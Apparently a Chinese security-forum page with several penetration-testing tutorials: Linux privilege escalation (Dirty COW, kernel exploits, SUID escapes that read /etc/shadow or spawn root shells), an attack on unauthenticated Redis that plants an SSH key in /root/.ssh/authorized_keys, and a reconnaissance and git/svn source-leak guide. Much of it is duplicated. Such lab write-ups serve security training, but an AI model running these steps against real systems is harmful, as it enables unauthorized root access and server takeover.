cat /etc/shells 显示可用的shell更多 --> https://www.rebootuser.com/?p=1623
 
 
0x01脏牛漏洞本地提权
漏洞描述:
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >=2.6.22  并且Android也受影响
脏牛漏洞名称的来源:

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞

漏洞原理:

该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

漏洞复现过程:
靶机:CentOS 6.5
1.查看linux内核版本是否大于等于2.6.22uname -a





2.上传POC至 /tmp 目录下(tmp目录具有较高权限)
 






3.对dirty.c进行gcc编译生成一个可执行文件gcc -pthread dirty.c -o dirty -lcrypt
***
-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现
-o 为编译后输出的文件名
***





4.运行dirty可执行文件进行本地提权./dirty passwd这个漏洞利用的过程大概要三分钟,耐心等待之后即可出现





此时切换到firefart用户,密码为123456





执行id命令后可以看到已经为root用户了,成功提权。
参考:http://zone.secevery.com/article/290

----------------------------------------
 
0x02内核漏洞提权

果linux内核版本小于2.6.22或者脏牛无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。而searchs
polit的使用也很简单,只需要在后面跟上限定条件即可。
查看linux漏洞searchspolit linux




查看centos6版本漏洞searchspolit centos 6




但我们通常查看指定内核版本和linux版本。如:searchspolit centos 7 kernel 3.10




 
所限定的条件越多,当然可利用的漏洞也就越少。我们选中其中符合靶机环境的漏洞后进行查看。
利用leafpad命令查看文档内容并且复制到靶机上生成相应的文件。(漏洞的利用虽然是英文,但是一定要看一下使用方法)
 leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c




参考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提权
SUID概念:

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性

SUID提权:

那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。

首先在本地查找符合条件的文件,有以下三个命令find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;




列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
--------------------------------------------------------
常用的可用于suid提权的文件Nmap
Vim
find
Bash
More
Less
Nano
cp
namp
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式nmap --interactive执行命令后会返回一个shellnmap> !sh
sh-3.2# whoami
root




而在Metasploit中也有一个模块可以通过SUID Nmap进行提权
 exploit/unix/local/setuid_nmapfind
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行touch test
find test -exec whoami \;
vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件vim /etc/shadow




 
bash
以下命令将以root身份打开一个bash shellbash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)
less
程序less也可以执行提权后的shell。
 less /etc/passwd
!/bin/sh参考:https://www.anquanke.com/post/id/86979
  查看全部
Linux提权
1.信息收集
2.脏牛漏洞提权
3.内核漏洞exp提权
4.SUID提权
 
0x00 基础信息收集
(1):内核,操作系统和设备信息
uname -a    打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息

(2)用户和群组
cat /etc/passwd     列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 有关指定用户上次登录的信息
lastlog |grep -v "Never" 以前登录用户的完

(3)用户和权限信息:
whoami        当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行
sudo -l 当前用户可以以root身份执行操作
(4)环境信息
 
env        显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
更多 --> https://www.rebootuser.com/?p=1623
 
 
0x01脏牛漏洞本地提权
漏洞描述:
漏洞编号:CVE-2016-5195
漏洞名称:脏牛(Dirty COW)
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >=2.6.22  并且Android也受影响
脏牛漏洞名称的来源:


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞


漏洞原理:


该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。


漏洞复现过程:
靶机:CentOS 6.5
1.查看linux内核版本是否大于等于2.6.22
uname -a

11.png


2.上传POC至 /tmp 目录下(tmp目录具有较高权限)
 

1.png


3.对dirty.c进行gcc编译生成一个可执行文件
gcc -pthread dirty.c -o dirty -lcrypt
***
-pthread会附加一个宏定义-D_REENTRANT该宏会导致libc头文件选择那些thread-safe的实现
-o 为编译后输出的文件名
***


2.png

4.运行dirty可执行文件进行本地提权
./dirty passwd
这个漏洞利用的过程大概要三分钟,耐心等待之后即可出现

3.png

此时切换到firefart用户,密码为123456

4.png

执行id命令后可以看到已经为root用户了,成功提权。
参考:http://zone.secevery.com/article/290

----------------------------------------
 
0x02内核漏洞提权

果linux内核版本小于2.6.22或者脏牛无法成功时,我们需要查看其他版本的内核漏洞。这时我们就用到了kali linux,自身所拥有的searchspolit可以帮助我们查看各种linux发行版本的漏洞。而searchs
polit的使用也很简单,只需要在后面跟上限定条件即可。
查看linux漏洞
searchspolit linux

5.png

查看centos6版本漏洞
searchspolit centos 6

6.png

但我们通常查看指定内核版本和linux版本。如:
searchspolit centos 7 kernel 3.10

7.png

 
所限定的条件越多,当然可利用的漏洞也就越少。我们选中其中符合靶机环境的漏洞后进行查看。
利用leafpad命令查看文档内容并且复制到靶机上生成相应的文件。(漏洞的利用虽然是英文,但是一定要看一下使用方法)
 
leafpad /usr/share/exploitdb/exploits/linux/dos/41350.c

8.png

参考:https://xz.aliyun.com/t/2860
-----------------------------------------------------
0x03 SUID提权
SUID概念:


SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性


SUID提权:


那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。


首先在本地查找符合条件的文件,有以下三个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

01.png

列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
--------------------------------------------------------
常用的可用于suid提权的文件
Nmap
Vim
find
Bash
More
Less
Nano
cp

namp
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入namp交互模式
nmap --interactive
执行命令后会返回一个shell
nmap> !sh
sh-3.2# whoami
root

02.png

而在Metasploit中也有一个模块可以通过SUID Nmap进行提权
 
exploit/unix/local/setuid_nmap
find
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
touch test
find test -exec whoami \;

vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
vim /etc/shadow

03.png

 
bash
以下命令将以root身份打开一个bash shell
bash -p
bash-3.2# id
uid=500(cow) gid=500(cow) euid=0(root) groups=500(cow)

less
程序less也可以执行提权后的shell。
 
less /etc/passwd
!/bin/sh
参考:https://www.anquanke.com/post/id/86979
 

Redis SSH的免秘钥登陆

fireant 发表了文章 • 0 个评论 • 57 次浏览 • 2019-07-29 19:33 • 来自相关话题

0x00什么是Redis?
   Redis是一个开源的使用ANSIC语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

0x02Redis的安装-配置过程
Redis默认安装好默认端口是6379。
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改靶机/etc/redis/redis.conf。
Redis默认情况下是无需任何账户密码进行连接的。
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”。
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis。

1. 从官网下载redis源码的压缩包wget http://download.redis.io/releases/redis-5.0.5.tar.gz
2. 下载完成后,解压压缩包tar xzf redis-5.0.5.tar.gz
3. 然后进入解压后的目录:cd redis-5.0.5,输入make并执行

4. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录cp redis-server /usr/bin/
cp redis-cli /usr/bin/
5. 返回目录redis-5.0.5,将redis.conf拷贝到/etc/目录下cp redis.conf /etc/
6. 编辑etc中的redis配置文件redis.confpython@ubuntu:~/Desktop/redis-5.0.5$ [b]vim /etc/redis.conf[/b]
7.去掉ip绑定,允许除本地外的主机远程登录redis服务:





 
8.关闭保护模式,允许远程连接redis服务:





 
9. 使用/etc/目录下的redis.conf文件中的配置启动redis服务root@kali:~/redis-5.0.5# redis-server /etc/redis.conf

0x02Redis的使用方法
Redis常用命令:set key value :创建一个key对应的值,如set test 123456,其中test是key, 123456则是value
get key :获取key的值
keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key
expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了
del key :删除某个key
Redis-cli常用命令:-h :指定要连接的主机IP或域名
-p :指定连接的端口
-a :指定密码
-r :执行指定的命令
-n :数据库名
-x :将最后一个参数输出为value
服务器操作命令info:获取redis以及服务器的基本信息
config get dir :获取cat
config set dir /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录
config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。
config get dbfilename :自然就是获取备份数据库的名字。
save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb


 
0x03redis免秘钥登陆的原理及操作步骤

   原理: 其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY

靶机:192.168.10.224

1.生成公私钥:ssh-keygen -t rsa





2.将id_rsa.pub的内容输出到key.txt:
在~/.ssh目录下执行(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt





3.连接目标机ip的redis 通过-x参数将key.txt 设置为 key “crackit”的value:cat key.txt | redis-cli -h 192.168.10.224 -x set cracki
4.远程登陆靶机的redis服务
root@kali:~/.ssh# redis-cli -h 192.168.10.224





获取redis的备份路径:config get dir
更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh
设置备份的数据库名称为authorized_keys:config set dbfilename authorized_keys
查看数据库名是否正确设置:config get dbfilename
 将数据保存在硬盘之中并退出:save
exit
5.使用ssh免密登录靶机ssh 192.168.10.224




  查看全部
0x00什么是Redis?
   Redis是一个开源的使用ANSIC语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

0x02Redis的安装-配置过程
Redis默认安装好默认端口是6379。
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改靶机/etc/redis/redis.conf。
Redis默认情况下是无需任何账户密码进行连接的。
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”。
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis。

1. 从官网下载redis源码的压缩包
wget http://download.redis.io/releases/redis-5.0.5.tar.gz

2. 下载完成后,解压压缩包
tar xzf redis-5.0.5.tar.gz

3. 然后进入解压后的目录:cd redis-5.0.5,输入make并执行

4. make结束后,进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/

5. 返回目录redis-5.0.5,将redis.conf拷贝到/etc/目录下
cp redis.conf /etc/

6. 编辑etc中的redis配置文件redis.conf
python@ubuntu:~/Desktop/redis-5.0.5$ [b]vim /etc/redis.conf[/b]

7.去掉ip绑定,允许除本地外的主机远程登录redis服务:

TIM截图20190729190640.png

 
8.关闭保护模式,允许远程连接redis服务:

TIM截图20190729190958.png

 
9. 使用/etc/目录下的redis.conf文件中的配置启动redis服务
root@kali:~/redis-5.0.5# redis-server /etc/redis.conf


0x02Redis的使用方法
Redis常用命令:
set key value :创建一个key对应的值,如set test 123456,其中test是key, 123456则是value
get key :获取key的值
keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key
expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了
del key :删除某个key

Redis-cli常用命令:
-h :指定要连接的主机IP或域名
-p :指定连接的端口
-a :指定密码
-r :执行指定的命令
-n :数据库名
-x :将最后一个参数输出为value

服务器操作命令
info:获取redis以及服务器的基本信息
config get dir :获取cat
config set dir /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录
config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。
config get dbfilename :自然就是获取备份数据库的名字。
save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb


 
0x03redis免秘钥登陆的原理及操作步骤

   原理: 其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY

靶机:192.168.10.224

1.生成公私钥:
ssh-keygen -t rsa

TIM截图20190729184151.png


2.将id_rsa.pub的内容输出到key.txt:
在~/.ssh目录下执行
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

TIM截图20190729184310.png


3.连接目标机ip的redis 通过-x参数将key.txt 设置为 key “crackit”的value:
cat key.txt | redis-cli -h 192.168.10.224 -x set cracki

4.远程登陆靶机的redis服务
root@kali:~/.ssh# redis-cli -h 192.168.10.224

TIM截图20190729184651.png


获取redis的备份路径:
config get dir

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
config set dir /root/.ssh

设置备份的数据库名称为authorized_keys:
config set dbfilename authorized_keys

查看数据库名是否正确设置:
config get dbfilename

 将数据保存在硬盘之中并退出:
save
exit

5.使用ssh免密登录靶机
ssh 192.168.10.224

TIM截图20190729184802.png

 

渗透前的目标信息收集小结

Web安全渗透flaray 发表了文章 • 1 个评论 • 184 次浏览 • 2019-07-29 17:01 • 来自相关话题

前言:
信息收集分类:
1、主动式信息搜集(可获取到的信息较多,但易被目标发现)
2、通过直接发起与被测目标网络之间的互动来获取相关信息,如通过Nmap扫描目标系统。
3、被动式信息搜集(搜集到的信息较少,但不易被发现,如通过搜索引擎搜索)
4、通过第三方服务来获取目标网络相关信息。如通过搜索引擎方式来搜集信息。
搜集什么信息

1、whois信息
2、网站架构(语言、中间件、数据库、平台)
3、dns信息(通过查询dns可以检测是否存在dns域传送和域行走)
4、子域名搜集(搜索引擎和工具以及漏洞)
5、敏感目录及敏感信息、源码泄露(搜索引擎+工具、GitHub等)
6、系统漏洞(系统版本漏洞是否修补)
7、旁站查询(通过IP反查)
8、C端查询(确认大公司或组织网段内子站)
9、指纹信息(框架探测)
10、端口服务
11、备案信息(whois反查、)
12、真实ip(绕过CDN)
13、探测waf(后续可确定Bypass方式)
14、社工(朋友圈、微博、qq空间、求职、交易等社交平台)
15、企业信息(天眼查、企业信用信息公示系统、工业和信息化部ICP/IP地址/域名信息备案管理系统)

信息搜集的流程
上面我已经列举了需要搜集的信息,然后我给它们分了一下类。
我考虑到一个网站的组成是由域名、服务器、网站程序组成的。
因此:

首先入手域名方面:whois、子域名、备案信息;
其次是入手服务器方面:dns信息、端口服务、真实ip;
然后入手网站程序(web层)方面:网站架构、敏感目录及敏感信息、源码泄露(搜索引擎+工具)、脆弱系统(网络空间)、旁站查询、C端查询、指纹信息、探测waf;
最后入手企业方面:天眼查、企业信用信息公示系统

 
0x00:IP发现
1.IP反查域名(查询旁站)如果你的渗透目标网站是一台虚拟主机,那么通过IP反查到的域名信息往往很有价值, 因为一台物理服务器上面可能运行多个虚拟主机,这些虚拟主机具有不同的域名,但通常共用一个IP地址。如果你知道有哪些网站共用这台服务器,就有可能通过此台服务器上其他网站的漏洞获取服务器控制权,进而迂回获取渗透目标的权限,这种技术也称为“旁注”。


站点和工具:http://www.ip-adress.com/reverse_iphttp://www.7c.com/https://dns.aizhan.com/https://tools.ipip.net/ipdomain.phphttp://www.webscan.cc/http://dns.bugscaner.com/ 2.域名查询IP知道一个站点的域名需要得到它的IP以便之后获取端口信息或扫描等后续工作。


站点和工具:http://www.webscan.cc/http://www.yunsee.cn/https://www.whatweb.net/http://ip.tool.chinaz.com/http://dns.bugscaner.com/注:判断是否目标使用CDN(1).ping 目标主域,观察域名的解析情况,以此来判断是否使用了 CDN;(2).利用在线网站 17CE,进行全国多地区的 ping 服务器操作,然后对比每个地区 ping 出的 IP 结果,查看这些 IP 是否一致,如果都是一样的,极有可能不存在 CDN。如果 IP 大多不太一样或者规律性很强,可是尝试查询这些 IP 的归属地,判断是都存在 IP。在确认目标用了 CDN 的情况下:内部邮箱源(让服务器给你发邮件看邮件头IP)(最可靠)通过zmpap全网爆破查询真实IP(可靠)扫描网站测试文件分站域名(根据收集分站查看产生交互最多的站)国外访问(App Synthetic Monitor)查询域名解析记录(NETCRAFT)(查询域名历史IP)如果网站有 App,抓 App 的请求绕过 CloudFlare CDN 查找真实 IP(CloudFlareWatch)   3.IP WHOIS查询IP WHOIS就是查询IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等)。


http://tool.chinaz.com/ipwhoishttp://www.guoxue.com/whois/index.phphttp://whois.bugscaner.com/https://www.whois.com/whoishttps://www.cxw.com/  4.C端存活主机探测


https://phpinfo.me/bing.phphttp://cduan.cc/c/http://www.webscan.cc/https://github.com/se55i0n/Cwebscanner也可以使用Nmap扫描:Nmap: nmap -sP www.XXX.com/24 || nmap -sP 192.168.1.*5.C段常见端口探测(1)最笨的方法:C段导入到文件,nmap扫描。-iL参数:扫描文件中列出的所有IP地址。nmap -iL ip.txt。配合其他自定义限制条件扫描。(2)其他工具神器masscan: https://github.com/robertdavidgraham/masscanMasscan安装和使用:http://zone.secevery.com/article/1098   0x01:域名发现1.子域名发现开始渗透一个网站前,需要知道网站的网络资产:域名、IP等,而IP和域名有着直接的解析关系,所以如何找到网站所有子域名是关键。(1)DNS枚举(根据字典爆破)域名可以通过收集常用域名字典,去DNS服务商查询是否有解析记录来枚举子域名。很多工具都是通过预定义的字典枚举:如Lay子域名挖掘机,subbrute等。


DNS服务商的字典是最准确有效的,先找到一份DNSPod公布的使用最多的子域名:dnspod-top2000-sub-domains.txt//GitHub上的(2)自身泄露可通过https://github.com/FeeiCN/WebProxy代理电脑所有流量,从流量中搜索出现交互的子域名,如域名跳转、Response、网络请求中的子域名。缺点:麻烦且没产生交互的子域名无法探测,略鸡肋。 (3)搜索引擎使用百度,bing,Google等搜索引擎,可通过site关键字查询所有收录该域名的记录,子域名权重较高会排在前面。具体规则网上很多,可参考: https://zhuanlan.zhihu.com/p/22161675https://www.freebuf.com/articles/network/169601.html具体使用:以 secevery 为例,可以通过搜索 site:secevery.com 来得到指定的网站内容。


(4)第三方查询--有许多拥有大量 DNS 数据集的第三方服务,可通过他们来检索给定域的子域。如VirusTotal,dnsdumpser


脚本工具Sublist3r( https://github.com/aboul3la/Sublist3r) 使用各种资源来枚举子域。通过诸如 Google,Yahoo,Bing,百度和 Ask 等许多搜索引擎来枚举。Sublist3r 还使用 Netcraft,Virustotal,ThreatCrowd,DNSdumpster 和 ReverseDNS 等第三方服务来枚举子域。缺点:信息多很繁杂且有错误,许多站已经关闭,内容需要筛选。(5)crossdomain.xml利用跨域策略文件,以 http://www.sina.com.cn/crossdomain.xml为例:


(6)Google HTTPS证书信息Google透明度报告中的证书透明度项目是用来解决HTTPS证书系统的结构性缺陷,它能够让所有人查询各个网站的HTTPS证书信息,从而能发现签发了证书的子域名。利用SSL证书的注册登记发现子域名。


使用收集 CT(Certificate Transparency)日志的搜索引擎,是发现某个域证书最简单的方法。以下是一些流行的搜索引擎:https://crt.sh/https://transparencyreport.google.com/https/certificateshttps://censys.io/可以结合Masscan# ct.py - extracts domain names from CT Logs(shippedwith massdns) # massdns - will find resolvable domains & adds them to a file./ct.py icann.org | ./bin/massdns -r resolvers.txt -tA -q -a -o -w icann_resolvable_domains.txt -//读取文件里面的CT信息搜索还可以直接通过本地证书:大厂的SSL证书一般都是一证多用,根据这个特性,可以得到一些子域名.eg:





使用SSL证书缺点很明显,没有注册SSL证书的子域名无法查到。 (7)自治系统编号(ASN)使用dig或host来解析指定域的IP地址(可以得到IP所在组织的IP域范围)。使用IP查找ASN号码:https://asn.cymru.com/cgi-bin/whois.cgi


也可以使用域名查询ASN号码:https://bgp.he.net/


找到的ASN号码可用于查找域的网络块。使用Nmap脚本可以实现使用ASN号码来查找域的网络块。$ nmap --script targets-asn --script-args targets-asn.asn=XXXX


(8)利用域传送漏洞因为对DNS服务器配置不当,导致任意IP都可以直接向DNS服务器请求数据,从而导致该域名的所有子域名暴露,可以写脚本也可以通过网站查询DNS。http://tool.chinaz.com/dns/https://tool.lu/dns/


域传送漏洞漏洞很老旧不常见。kali下检测:root@kali:~# dig +short @8.8.8.8 secevery.com nsdns24.hichina.com.dns23.hichina.com.得到了目标ns服务器,接下来使用目标ns服务器尝试传送dig @dns24.hichina.com secevery.com axfr发现Transfer failed失败即不存在漏洞。Kali下dns子域探测工具:dnsmap,dnsenum,fierce。也可以Windows下nslookup查询:


(9) FDNS(forward DNS,DNS转发)FDNS数据集作为 Project Sonar 的一部分发布。这些数据是通过提取来自多个源的域名并且给每个域发送 ANY 请求来收集的。这些数据是 gzip 格式的 json 文件。我们可以解析数据集来查找给定域的子域。数据集是很大的(压缩后约 20 + GB,未压缩约有 300 + GB)。https://registry.opendata.aws/rapid7-fdns-any/https://github.com/rapid7/sonar/wiki/Forward-DNS//GitHub说明# Command to parse& extract sub-domains for a given domain$ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jqFDNS能搜索到的子域名比爆破和CT查询和存在域传送加起来都多。但文件过大使用起来很费事。


(10)zone walking(NSEC)区域行走DNSSEC协议的一个重要功能是能根据"DNS中的已验证拒绝存在"权威的断言给定域名不存在,但它允许区域行走,可以从一个域到另一个域。协议这样写->https://tools.ietf.org/rfc/rfc7129.txt现在主流的NSEC3协议是NSEC协议的替代,但是仍然有很多域在使用NSEC。使用ldns-walk工具来检测使用NSEC域名TLD列表 http://data.iana.org/TLD/tlds-alpha-by-domain.txt安装之后$ ldns-walk domainname即可使用//linux下安装使用。wget https://www.nlnetlabs.nl/downloads/ldns/ldns-1.7.0.tar.gz 除了这些还有如网络深度爬虫等方法能探测子域名。2.关联域名发现(1)注册人和邮箱反查域名先whois获取注册人和邮箱,再通过注册人和邮箱反查域名。


https://whois.chinaz.com/http://whois.4.cn/reversehttps://whois.aizhan.com/reverse-whois/http://www.langongju.com/domain/reverse缺点很明显:除了大厂之外很多公司都是DNS解析的运营商注册的,查到的是运营商代替个人和小公司注册的网站信息。(2)相似域名查询根据目标公司名称来查找可能是目标资产的相似域名。


https://www.whois.net/https://typoku.com.cutestat.com/https://github.com/elceef/dnstwist//相似、钓鱼域名检测。 0X02:端口信息探测1、快速判断端口是否开启:a、http://coolaf.com/tool/port使用方式:        直接输入要测试的域名,然后指定要测试的端口。        不过每次只能指定50个端口。


b、https://tool.lu/portscan/index.html    跟上一个工具差不多都一样,只不过每次能测试100个端口。使用方式也一样。


c、http://www.matools.com/port    没有说明端口限制,并且会显示端口的服务。只是每次扫描的时候,需要输入验证码。 2、对服务器的信息进行详细的收集:主机发现,生成存活主机列表:nmap -sn -T4 -oG Discovery.gnmap  192.168.10.0/24grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt 端口发现,发现全部端口:nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt        #一般选用这个,因为速度比较快。nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt 发现大部分常用的端口:nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txtnmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txtnmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt 系统和服务检测:nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt 系统扫描:nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txtnmap -O --osscan-guess 192.168.1.134     服务版本侦测:nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txtNmap命令详见: http://zone.secevery.com/article/2450X03:网站信息收集1、指纹识别代码框架识别、中间件、CMS识别:     https://www.whatweb.net/     能得到的目标网站的    IP、中间件类型以及版本、语言环境(带版本)


    http://www.yunsee.cn/finger.html    只能判断出一种语言环境,代码框架、中间件的版本信息。


    http://whatweb.bugscaner.com/look/    代码框架、web框架为ASP.NET、语言为PHP、中间件为IIS6.0   除此之外还有一些额外的信息:同ip网站CMS查询、icp备案查询、whois查询、网站地址、服务器的操作系统、子域名查询、网站CDN服务商查询、CDN缓存命中查询。    信息还是挺多的。与上边两个相比,我更倾向于选择第三个网站,云悉的信息那么少,大概是没有登陆的缘故吧。它的账号是要购买的。








2、waf识别:    wafw00f    一个识别waf的很成熟的工具,使用方式也很简单。        github项目地址:https://github.com/EnableSecurity/wafw00f        kali上自带wafw00f,一条命令直接使用。建议最好在kali下使用,windows下的使用很麻烦。


    nmap的扩展脚本,众所周知,nmap是一个端口扫描工具。但是它额外有的扩展模块,使得它具有了识别和绕过waf的能力。


2、敏感路径探测1、Git源码泄露    成因及危害:当前大量开发人员使用git进行版本控制,对网站进行自动部署。如果配置不当,可能会将.git文件部署到线上环境,这就引起了git泄露漏洞。在网站安全维护方面,git和svn信息泄露,是非常常见也是非常致命的漏洞。会导致整个网站的源码泄露。    漏洞检测:        批量寻找:".git" intitle:"index of"


    对单个网站进行检测:         a、githack,github上的地址:https://github.com/lijiejie/GitHack           使用方法:python GitHack.py http://xxx.com/.git/           这个直接就可以获取到网站的源码和图片该工具建议在有git工具的linux环境下使用,我在                   windows10环境下使用的时候,会报Error 10060和Error 183





手工验证的方法,如下。在kali linux下,        wget --mirror --include-directories=/.git http://www.xxx.com/.git        cd www.xxx.com    www.xxx.com文件夹是自动创建的。        git reset --hard后续学习:https://blog.csdn.net/qq_36869808/article/details/88909961     2、SVN源码泄露    介绍:跟git一样,都是用来版本迭代的一个功能。具体一点就是使用svn checkout功能来更新代码。    产生原因以及危害:没有配置好目录访问权限,从而导致该漏洞被人利用,整个网站的源码泄露。    批量寻找:".svn" intitle:"index of"    利用工具及过程:        工具:svnExploit        github地址:https://github.com/admintony/svnExploit        利用过程:            a、判断.svn的版本信息





前者版本小于1.7,后者版本大于1.7    版本小于1.7的:        python2 SvnExploit.py -u https://xxx.com/.svn    查看信息,把泄露的文件列出来。        python2 SvnExploit.py -u https://xxx.com/.svn --dump    将网站的源码下载下来。





    版本大于1.7的,        1、列出所有的文件。        2、把所有的文件dump下来。





    后续钻研:https://www.cnblogs.com/batsing/p/svn-bug.html 3、网站文件备份    直接扫目录就可以得到,工具:7kbscan、御剑都可以。


